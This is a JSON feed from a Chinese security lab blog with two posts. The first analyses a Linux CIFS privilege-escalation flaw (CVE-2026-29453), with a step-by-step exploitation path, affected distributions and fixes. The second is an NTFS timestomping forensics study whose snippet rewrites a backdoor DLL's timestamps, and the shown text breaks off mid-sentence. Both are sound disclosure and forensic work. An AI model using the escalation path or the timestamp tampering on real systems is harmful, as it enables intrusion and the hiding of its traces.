{
    "version": "https://jsonfeed.org/version/1",
    "title": "ICE Lab 学术动态",
    "home_page_url": "https://www.ce.ac.cn/blog/",
    "description": "ICE Lab 最新研究进展、漏洞分析与技术报告",
    "items": [
        {
            "id": "https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月27日，Linux 内核 CIFS 子系统中一处本地权限提升漏洞被公开披露（CVE-2026-29453，CVSSv3 7.8）。漏洞根源在于内核未对 <code>cifs.spnego</code> 类型密钥的描述信息实施来源合法性校验——未实现 <code>vet_description</code> 钩子以验证密钥是否由内核 CIFS 模块生成。同时，<code>cifs.upcall</code> 用户空间辅助程序以 root 权限运行时无条件信任密钥描述中的 <code>pid</code>、<code>uid</code>、<code>creduid</code> 及 <code>upcall_target</code> 等攻击者可控字段。本地低权限用户可构造伪造的密钥描述发起 <code>request_key</code> 系统调用，触发 root 权限的 <code>cifs.upcall</code> 执行，通过命名空间切换与 NSS 模块加载实现 root 权限代码执行。本分析从漏洞原理、利用条件、影响范围与修复方案四个维度展开讨论。</p>\n<p><strong>关键词</strong>：Linux 内核；CIFS；SPNEGO；权限提升；request_key；CVE-2026-29453</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直�接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>CIFS（Common Internet File System）是 Linux 内核中实现 SMB 网络文件共享协议的核心子系统，支持 Kerberos 与 SPNEGO 认证机制。cifs-utils 作为配套用户空间工具，提供 <code>cifs.upcall</code> 辅助程序，负责处理内核 CIFS 子系统的 Kerberos/SPNEGO 认证请求，通过内核密钥环（keyring）完成凭证交互。该基础设施广泛应用于企业文件服务与跨平台存储访问场景。</p>\n<p>CIFSwitch 漏洞的独特之处在于其攻击面位于内核密钥管理框架与用户空间辅助程序之间的信任边界——攻击者无需利用内核内存损坏，仅通过合法系统调用的参数构造即可实现权限提升。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-漏洞原理分析\">2. 漏洞原理分析<a class=\"hash-link\" aria-label=\"2. 漏洞原理分析的直接链接\" title=\"2. 漏洞原理分析的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#2-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-cifs-spnego-认证流程\">2.1 CIFS SPNEGO 认证流程<a class=\"hash-link\" aria-label=\"2.1 CIFS SPNEGO 认证流程的直接链接\" title=\"2.1 CIFS SPNEGO 认证流程的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#21-cifs-spnego-%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B\">​</a></h3>\n<p>Linux 内核密钥保留服务（key retention service）允许内核子系统将认证凭证以密钥形式存储于密钥环中。CIFS 子系统使用 <code>cifs.spnego</code> 类型的密钥描述来触发 SPNEGO 认证流程。当内核需要执行 Kerberos 认证时，通过 <code>request_key</code> 机制向用户空间发起上调用（upcall），由 <code>cifs.upcall</code> 处理认证请求并返回票据。</p>\n<p>正常的认证流程为：</p>\n<ol>\n<li>内核 CIFS 模块构造密钥描述，包含会话标识、服务主体名等信息</li>\n<li>内核通过 <code>/sbin/request-key</code> 触发 <code>cifs.upcall</code> 以 root 权限执行</li>\n<li><code>cifs.upcall</code> 解析密钥描述中的参数，执行 Kerberos 票据获取</li>\n<li>结果通过密钥环返回内核</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-密钥描述注入\">2.2 密钥描述注入<a class=\"hash-link\" aria-label=\"2.2 密钥描述注入的直接链接\" title=\"2.2 密钥描述注入的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#22-%E5%AF%86%E9%92%A5%E6%8F%8F%E8%BF%B0%E6%B3%A8%E5%85%A5\">​</a></h3>\n<p>漏洞的核心在于两个层面的信任缺陷：</p>\n<p><strong>内核层面</strong>：CIFS 子系统的密钥类型定义未实现 <code>vet_description</code> 钩子。该钩子的设计意图是在 <code>request_key</code> 系统调用进入处理流程之前，验证密钥描述是否确实由受信任的内核子系统生成。由于该钩子缺失，任何本地用户均可通过 <code>request_key</code> 系统调用提交任意 <code>cifs.spnego</code> 类型的密钥描述，内核无法区分合法请求与伪造请求。</p>\n<p><strong>用户空间层面</strong>：<code>cifs.upcall</code> 以 root 权限执行时，从密钥描述中提取 <code>pid</code>、<code>uid</code>、<code>creduid</code> 及 <code>upcall_target</code> 等字段并直接使用。这些字段完全由密钥描述构造者控制，<code>cifs.upcall</code> 未对其来源进行任何验证。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-提权利用路径\">2.3 提权利用路径<a class=\"hash-link\" aria-label=\"2.3 提权利用路径的直接链接\" title=\"2.3 提权利用路径的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#23-%E6%8F%90%E6%9D%83%E5%88%A9%E7%94%A8%E8%B7%AF%E5%BE%84\">​</a></h3>\n<p>攻击者的利用路径可分解为以下步骤：</p>\n<ol>\n<li><strong>构造恶意密钥描述</strong>：本地低权限用户构造包含精心设计的 <code>pid</code>、<code>uid</code>、<code>upcall_target</code> 等字段的 <code>cifs.spnego</code> 密钥描述</li>\n<li><strong>触发上调用</strong>：通过 <code>request_key(\"cifs.spnego\", malicious_description, ...)</code> 系统调用提交密钥请求</li>\n<li><strong>root 权限执行</strong>：内核通过 <code>/sbin/request-key</code> 触发 <code>cifs.upcall</code>，该程序以 root 权限运行并解析攻击者提供的密钥描述</li>\n<li><strong>命名空间切换</strong>：利用 <code>upcall_target</code> 中指定的目标命名空间，<code>cifs.upcall</code> 执行命名空间切换操作</li>\n<li><strong>NSS 模块加载</strong>：通过操纵 NSS（Name Service Switch）模块加载路径，诱导 <code>cifs.upcall</code> 加载攻击者控制的共享库</li>\n<li><strong>代码执行</strong>：恶意共享库在 <code>cifs.upcall</code> 的 root 上下文中执行，完成权限提升</li>\n</ol>\n<p>利用需满足以下前置条件：</p>\n<ul>\n<li>系统安装 cifs-utils 并保留默认 <code>cifs.spnego</code> request-key 规则</li>\n<li>Linux 内核 CIFS 模块可加载或内置</li>\n<li>启用非特权用户命名空间与挂载命名空间</li>\n<li>未被 AppArmor/SELinux 默认策略阻断（部分发行版默认阻断）</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-影响范围\">3. 影响范围<a class=\"hash-link\" aria-label=\"3. 影响范围的直接链接\" title=\"3. 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#3-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-受影响版本\">3.1 受影响版本<a class=\"hash-link\" aria-label=\"3.1 受影响版本的直接链接\" title=\"3.1 受影响版本的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#31-%E5%8F%97%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC\">​</a></h3>\n<p>内核层面，自 2007 年起所有支持 CIFS 且未包含补丁 <code>3da1fdf4efbc</code> 的 Linux 内核版本均受影响。cifs-utils ≥ 6.14 版本受影响（含部分旧版回溯修复引入问题的版本）。</p>\n<p>已确认受影响的操作系统发行版：</p>\n<ul>\n<li>Linux Mint 21.3 / 22.3（Cinnamon）</li>\n<li>CentOS Stream 9（GNOME）</li>\n<li>Rocky Linux 9（Workstation）</li>\n<li>Kali Linux 2021.4 / 2022.4 / 2023.4 / 2024.4 / 2025.4 / 2026.1（headless）</li>\n<li>AlmaLinux 9.7（Workstation / Azure Cloud Image）</li>\n<li>SUSE Linux Enterprise Server 15 SP7、SLES SAP 15 SP7、SLES SAP 16</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-影响评估\">3.2 影响评估<a class=\"hash-link\" aria-label=\"3.2 影响评估的直接链接\" title=\"3.2 影响评估的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#32-%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0\">​</a></h3>\n<p>该漏洞影响量级为百万级。由于 CIFS 是 Linux 内核的内置模块，且 cifs-utils 在多数企业级发行版中默认安装，实际暴露面极为广泛。结合非特权用户命名空间在容器化环境中的普遍启用，该漏洞对云原生基础设施构成显著威胁。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-复现验证\">4. 复现验证<a class=\"hash-link\" aria-label=\"4. 复现验证的直接链接\" title=\"4. 复现验证的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#4-%E5%A4%8D%E7%8E%B0%E9%AA%8C%E8%AF%81\">​</a></h2>\n<p>ICE Lab 已在受控环境中对 CIFSwitch 漏洞完成复现验证。在运行受影响内核版本、安装 cifs-utils 并启用非特权用户命名空间的 Linux 系统上，以普通用户身份通过构造恶意 <code>cifs.spnego</code> 密钥描述发起 <code>request_key</code> 调用，成功触发 root 权限的 <code>cifs.upcall</code> 执行，验证了从本地低权限到 root 的完整提权路径。PoC 与 EXP 均已公开，技术细节已披露。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-修复方案\">5. 修复方案<a class=\"hash-link\" aria-label=\"5. 修复方案的直接链接\" title=\"5. 修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#5-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>内核补丁 <code>3da1fdf4efbc490041eb4f836bf596201203f8f2</code> 已合并至主线，建议将内核升级至包含该补丁的版本。同时需更新 cifs-utils 软件包至修复版本。</p>\n<p><strong>临时缓解措施</strong>（适用于无法立即升级的环境）：</p>\n<ol>\n<li>非必要场景卸载 cifs-utils 或禁用 CIFS 内核模块加载</li>\n<li>删除或覆盖默认的 <code>cifs.spnego</code> 规则——在无需 Kerberos 认证的 CIFS 场景下，可创建空规则阻断 <code>cifs.spnego</code> 请求</li>\n<li>通过 sysctl 禁用非特权用户命名空间，阻断利用路径中的命名空间切换环节</li>\n</ol>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>CIFSwitch 漏洞的核心问题在于内核密钥管理框架的信任边界缺失——<code>vet_description</code> 钩子的空缺使得内核无法验证密钥描述的真实来源，而 <code>cifs.upcall</code> 对用户空间输入的盲目信任进一步放大了这一缺陷。该漏洞无需内存损坏即可实现权限提升，且影响范围覆盖 2007 年以来大量未打补丁的 Linux 发行版，具备高利用价值。内核补丁已发布，建议受影响用户尽快完成升级。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] OSS-Security. \"Linux Kernel CIFS Local Privilege Escalation.\" <a href=\"https://seclists.org/oss-sec/2026/q2/717\" target=\"_blank\" rel=\"noopener noreferrer\">https://seclists.org/oss-sec/2026/q2/717</a></p>\n<p>[2] Asim. \"CIFSwitch: From Key Descriptions to Root.\" <a href=\"https://heyitsas.im/posts/cifswitch/\" target=\"_blank\" rel=\"noopener noreferrer\">https://heyitsas.im/posts/cifswitch/</a></p>\n<p>[3] Linux Kernel. \"Commit 3da1fdf4efbc: CIFS Fix vet_description.\" <a href=\"https://github.com/torvalds/linux/commit/3da1fdf4efbc490041eb4f836bf596201203f8f2\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/torvalds/linux/commit/3da1fdf4efbc490041eb4f836bf596201203f8f2</a></p>",
            "url": "https://www.ce.ac.cn/blog/linux-kernel-cifswitch-lpe-analysis/",
            "title": "Linux Kernel CIFSwitch 本地权限提升漏洞分析（CVE-2026-29453）",
            "summary": "针对 Linux 内核 CIFS SPNEGO 密钥描述验证缺失导致的本地权限提升漏洞的技术分析，涉及 request_key 机制滥用与 cifs.upcall 信任边界突破。",
            "date_modified": "2026-05-27T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Disclosure",
                "Research",
                "Kernel Security",
                "Privilege Escalation"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>文件系统时间戳是数字取证中重建攻击时间线的核心依据，但其本身也是攻击者篡改的重点目标。NTFS 文件系统同时维护四套独立的时间戳记录机制——MFT 的 $STANDARD_INFORMATION 与 $FILE_NAME 属性、USN Journal 变更日志与 $LogFile 事务日志，各自以不同的精度、更新规则与访问权限运行。本文系统分析 NTFS 时间戳架构的取证价值，分类讨论三种 Timestomping 手段的技术原理与固有痕迹，提出基于四源交叉验证的自动化检测框架，并给出基于 MFTECmd 与 exhume_ntfs 的实战工具链实现。</p>\n<p><strong>关键词</strong>：NTFS；Timestomping；数字取证；USN Journal；MFT</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>NTFS 是 Windows 操作系统的核心文件系统，其时间戳存储机制远非单一的时间值数组。MFT（主文件表）中的 <code>$STANDARD_INFORMATION</code>（$SI）和 <code>$FILE_NAME</code>（$FN）属性各自独立维护文件的 MACB（修改、访问、MFT 变更、创建）时间戳，且更新规则迥异。此外，USN Journal 以变更日志形式记录每次文件操作的精确时刻与原因码，<code>$LogFile</code> 则以事务日志形式保存元数据操作的底层序列。</p>\n<p>这种多源冗余设计在文件系统一致性层面或属偶然，但在数字取证领域构成了天然的时间戳交叉验证体系。攻击者常利用 Timestomping 技术篡改 <code>$SI</code> 时间戳以掩盖入侵痕迹，但 <code>$FN</code>、USN Journal 及 <code>$LogFile</code> 中的对应记录往往被忽略——三者之间的微秒级精度不一致，恰构成最坚固的证据链。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-ntfs-时间戳架构\">2. NTFS 时间戳架构<a class=\"hash-link\" aria-label=\"2. NTFS 时间戳架构的直接链接\" title=\"2. NTFS 时间戳架构的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#2-ntfs-%E6%97%B6%E9%97%B4%E6%88%B3%E6%9E%B6%E6%9E%84\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-si-与-fn-双轨机制\">2.1 $SI 与 $FN 双轨机制<a class=\"hash-link\" aria-label=\"2.1 $SI 与 $FN 双轨机制的直接链接\" title=\"2.1 $SI 与 $FN 双轨机制的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#21-si-%E4%B8%8E-fn-%E5%8F%8C%E8%BD%A8%E6%9C%BA%E5%88%B6\">​</a></h3>\n<p>NTFS 以 MFT 为核心索引结构，每个文件对应一条 MFT 记录。每条记录包含多个属性，其中 <code>$STANDARD_INFORMATION</code>（属性类型 <code>0x10</code>）与 <code>$FILE_NAME</code>（属性类型 <code>0x30</code>）各自独立存储文件的 MACB 时间戳。</p>\n<p>$SI 属性的时间戳与文件内容的交互相关——文档编辑、权限变更或数据写入均会触发 $SI 更新。$FN 属性的时间戳与文件位置和名称的交互相关——重命名、移动等操作触发 $FN 更新。这种设计分歧制造了天然的双轨取证系统：同一文件在不同元数据属性中可能存储着差异化的时间信息。</p>\n<p>关键点在于，攻击者通常只修改 $SI 时间戳，而忽略 $FN 中的副本。修改 $SI 可通过用户态 API 完成——Cobalt Strike、Timestomp.exe 和 Metasploit 均内置此功能。修改 $FN 则需内核 API 或利用 Windows 的文件重命名机制将 $SI 自动复制到 $FN。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-mft-记录物理结构\">2.2 MFT 记录物理结构<a class=\"hash-link\" aria-label=\"2.2 MFT 记录物理结构的直接链接\" title=\"2.2 MFT 记录物理结构的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#22-mft-%E8%AE%B0%E5%BD%95%E7%89%A9%E7%90%86%E7%BB%93%E6%9E%84\">​</a></h3>\n<p>每条 MFT 记录固定为 1024 字节（1 KiB）。前 42 字节为 FileRecordHeader，其后为属性序列，以 <code>0xFFFFFFFF</code> 结束标记终止。关键字段如下：</p>\n<table><thead><tr><th>字段</th><th>类型</th><th>偏移</th><th>描述</th></tr></thead><tbody><tr><td><code>signature</code></td><td><code>[u8; 4]</code></td><td><code>0x00</code></td><td>总是 <code>b\"FILE\"</code></td></tr><tr><td><code>usa_offset</code></td><td><code>u16</code></td><td><code>0x04</code></td><td>更新序列数组偏移</td></tr><tr><td><code>lsn</code></td><td><code>u64</code></td><td><code>0x08</code></td><td>$LogFile 序列号，用于日志关联</td></tr><tr><td><code>sequence_number</code></td><td><code>u16</code></td><td><code>0x10</code></td><td>每次记录复用递增</td></tr><tr><td><code>attrs_offset</code></td><td><code>u16</code></td><td><code>0x14</code></td><td>首个属性偏移（通常 <code>0x30</code>）</td></tr><tr><td><code>flags</code></td><td><code>u16</code></td><td><code>0x16</code></td><td><code>0x01</code>=已分配, <code>0x02</code>=目录</td></tr><tr><td><code>base_file_record</code></td><td><code>u64</code></td><td><code>0x20</code></td><td>扩展记录指向基本记录</td></tr></tbody></table>\n<p>其中 <code>lsn</code> 字段是连接 MFT 与 $LogFile 两大取证数据源的核心桥梁，记录了最后一次修改此 MFT 记录的日志序列号。属性头部标识类型（<code>0x10</code> = $SI，<code>0x30</code> = $FN，<code>0x80</code> = $DATA）及常驻/非常驻状态。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-时间戳精度与纳秒分析\">2.3 时间戳精度与纳秒分析<a class=\"hash-link\" aria-label=\"2.3 时间戳精度与纳秒分析的直接链接\" title=\"2.3 时间戳精度与纳秒分析的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#23-%E6%97%B6%E9%97%B4%E6%88%B3%E7%B2%BE%E5%BA%A6%E4%B8%8E%E7%BA%B3%E7%A7%92%E5%88%86%E6%9E%90\">​</a></h3>\n<p>NTFS 时间戳以 64 位 FILETIME 格式存储，精度 100 纳秒，起始点 1601 年 1 月 1 日。正常文件操作产生的时间戳具有精确的纳秒分量——例如 <code>131683876627452045</code> 对应 <code>2018-04-16 21:27:42.7452045</code>。当攻击者使用系统工具（如 PowerShell 的 <code>Get-Item</code>）修改时间戳时，纳秒分量通常被置零——<code>131683876620000000</code> 虽然对应同一时刻，但纳秒部分全零在整数表示中极为突出。</p>\n<p>值得强调的是，纳秒全零检测仅能捕获使用标准系统工具的低水平攻击者。经过定制的高级攻击工具（如 Metasploit 的 timestomp 模块）可生成带真实纳秒精度的时间戳，此时纳秒检测本身不足以排除篡改可能。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-文件系统日志机制\">3. 文件系统日志机制<a class=\"hash-link\" aria-label=\"3. 文件系统日志机制的直接链接\" title=\"3. 文件系统日志机制的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#3-%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F%E6%97%A5%E5%BF%97%E6%9C%BA%E5%88%B6\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-usn-journal-变更日志\">3.1 USN Journal 变更日志<a class=\"hash-link\" aria-label=\"3.1 USN Journal 变更日志的直接链接\" title=\"3.1 USN Journal 变更日志的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#31-usn-journal-%E5%8F%98%E6%9B%B4%E6%97%A5%E5%BF%97\">​</a></h3>\n<p>USN Journal（<code>\\$Extend\\$UsnJrnl</code>）是 NTFS 为每次文件系统变更提供的持久化日志，包含两个备用数据流：<code>$J</code>（实际变更记录）和 <code>$Max</code>（配置信息）。其核心价值在于记录文件创建、删除、重命名与数据变更的高层次操作，不受操作者权限或意图影响。</p>\n<p>USN Record 经历三个版本演进：</p>\n<table><thead><tr><th>版本</th><th>引入版本</th><th>文件引用大小</th><th>包含文件名</th><th>包含时间戳</th><th>核心特性</th></tr></thead><tbody><tr><td>v2</td><td>Vista</td><td>64 位</td><td>是</td><td>是</td><td>基础记录</td></tr><tr><td>v3</td><td>Windows 8</td><td>128 位</td><td>是</td><td>是</td><td>扩展文件引用</td></tr><tr><td>v4</td><td>Windows 10</td><td>128 位</td><td>否</td><td>否</td><td>Range Tracking</td></tr></tbody></table>\n<p>v4 记录的核心设计转变在于关注文件被修改的具体字节范围而非文件名与时间戳。其 <code>USN_RECORD_EXTENT</code> 结构（<code>Offset</code> / <code>Length</code>）精确记录修改的字节偏移范围。Windows 保证每次 Range Tracking 产生 v4 记录后，文件关闭时会追加一条含 <code>USN_REASON_CLOSE</code> 的 v3 记录以补全文件名和时间戳。</p>\n<p><strong>USN_REASON 位掩码的关键取证含义：</strong></p>\n<ul>\n<li><code>USN_REASON_DATA_OVERWRITE</code>（<code>0x00000002</code>）：精确标记文件数据被覆盖的时刻。攻击者修改 MFT $SI 时间戳后，后续任何数据写入操作均被记录，且此记录无法被追溯性删除或篡改。</li>\n<li><code>USN_REASON_BASIC_INFO_CHANGE</code>（<code>0x00008000</code>）：直接对应文件属性修改，包括时间戳篡改本身——该记录就是 Timestomping 操作的最直接证据。</li>\n<li><code>USN_REASON_FILE_CREATE</code>（<code>0x00000100</code>）：文件首次创建的精确时刻，可用于与 MFT 声称的创建时间进行比对。</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-logfile-事务日志\">3.2 $LogFile 事务日志<a class=\"hash-link\" aria-label=\"3.2 $LogFile 事务日志的直接链接\" title=\"3.2 $LogFile 事务日志的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#32-logfile-%E4%BA%8B%E5%8A%A1%E6%97%A5%E5%BF%97\">​</a></h3>\n<p>$LogFile 是 NTFS 的事务日志，以预写式日志（WAL）机制记录文件系统元数据的每一次变更操作。与 USN Journal 记录高层次操作不同，$LogFile 记录的是底层元数据变更——一个 USN 事件可能在 $LogFile 中对应数十条低层次记录。</p>\n<p>常见操作码与取证含义：</p>\n<table><thead><tr><th>操作</th><th>$LogFile 操作</th><th>USN Journal 对应事件</th></tr></thead><tbody><tr><td>文件创建</td><td><code>InitializeFileRecordSegment</code> + <code>AddIndexEntryAllocation</code></td><td><code>FileCreate</code></td></tr><tr><td>文件删除</td><td><code>DeleteIndexEntryAllocation</code> + <code>DeallocateFileRecordSegment</code></td><td><code>FileDelete</code></td></tr><tr><td>重命名</td><td><code>DeleteIndexEntryAllocation</code> + <code>AddIndexEntryAllocation</code></td><td><code>RenameOldName</code> → <code>RenameNewName</code></td></tr><tr><td>时间戳修改</td><td><code>SetBasicInfo</code> + <code>UpdateStandardInfo</code></td><td><code>BasicInfoChange</code></td></tr></tbody></table>\n<p>其关键取证价值在于：当攻击者修改 $SI 时间戳时，$LogFile 中会留下 <code>OpenFileRecord → SetBasicInfo → UpdateStandardInfo → CloseFileRecord</code> 的操作序列。若攻击者通过文件重命名同步修改 $FN，还会包含 <code>DeleteIndexEntry → UpdateFileName → AddIndexEntry</code>。无论 MFT 中如何修改，$LogFile 中各操作的相对时序和间隔均揭示真实过程。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-timestomping-技术分类分析\">4. Timestomping 技术分类分析<a class=\"hash-link\" aria-label=\"4. Timestomping 技术分类分析的直接链接\" title=\"4. Timestomping 技术分类分析的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#4-timestomping-%E6%8A%80%E6%9C%AF%E5%88%86%E7%B1%BB%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-用户态-api-修改si-层\">4.1 用户态 API 修改（$SI 层）<a class=\"hash-link\" aria-label=\"4.1 用户态 API 修改（$SI 层）的直接链接\" title=\"4.1 用户态 API 修改（$SI 层）的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#41-%E7%94%A8%E6%88%B7%E6%80%81-api-%E4%BF%AE%E6%94%B9si-%E5%B1%82\">​</a></h3>\n<p>攻击者利用用户态 API 直接修改 $SI 时间戳，是最基础也最广泛使用的 Timestomping 手段：</p>\n<div class=\"language-powershell codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-powershell codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">(Get-Item \"backdoor.dll\").CreationTime = (Get-Date \"2020-03-15\")</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">(Get-Item \"backdoor.dll\").LastWriteTime = (Get-Date \"2020-03-15\")</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p><strong>痕迹</strong>：仅修改 $SI，$FN 不随动，两者时间戳产生偏差；纳秒分量被置零；USN Journal 中产生 <code>BASIC_INFO_CHANGE</code> 记录。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-文件重命名同步修改fn-层\">4.2 文件重命名同步修改（$FN 层）<a class=\"hash-link\" aria-label=\"4.2 文件重命名同步修改（$FN 层）的直接链接\" title=\"4.2 文件重命名同步修改（$FN 层）的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#42-%E6%96%87%E4%BB%B6%E9%87%8D%E5%91%BD%E5%90%8D%E5%90%8C%E6%AD%A5%E4%BF%AE%E6%94%B9fn-%E5%B1%82\">​</a></h3>\n<p>攻击者先通过用户态 API 修改 $SI，随后移动或重命名文件。Windows 自动将修改后的 $SI 时间戳复制到 $FN 属性，使两组时间戳保持一致。</p>\n<p><strong>痕迹</strong>：尽管 $SI/$FN 不再矛盾，但 USN Journal 中同时留下 <code>BASIC_INFO_CHANGE</code>（Timestomping 时刻）和 <code>RENAME_OLD_NAME</code> / <code>RENAME_NEW_NAME</code>（重命名时刻）的记录序列。攻击者无法追溯性修改这两类事件的时间戳。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"43-内核级-api-直接写入si--fn-层\">4.3 内核级 API 直接写入（$SI + $FN 层）<a class=\"hash-link\" aria-label=\"4.3 内核级 API 直接写入（$SI + $FN 层）的直接链接\" title=\"4.3 内核级 API 直接写入（$SI + $FN 层）的直接链接\" href=\"https://www.ce.ac.cn/blog/ntfs-timestamp-forensic-analysis/#43-%E5%86%85%E6%A0%B8%E7%BA%A7-api-%E7%9B%B4%E6%8E%A5%E5%86%99%E5%85%A5si--fn-%E5%B1%82\">​</a></h3>\n<p>在未引入 Patch Guard 的旧版 Windows 上，攻击者可通过 <code>NtSetInformationFile</code> 和 <code>NtQueryInformationFile</code> 直接修改 $FN 时间戳。通过直接磁盘写入，还可同时修改两条 MFT 属性而不触发文件系统级事件。</p>\n<p><strong>痕迹</strong>：$SI 与 $FN 一致，USN Journal 仍会记录 <code>BASIC_INFO_CHANGE</code>。直接磁盘写入虽可绕过部分日志，但对 $LogFile 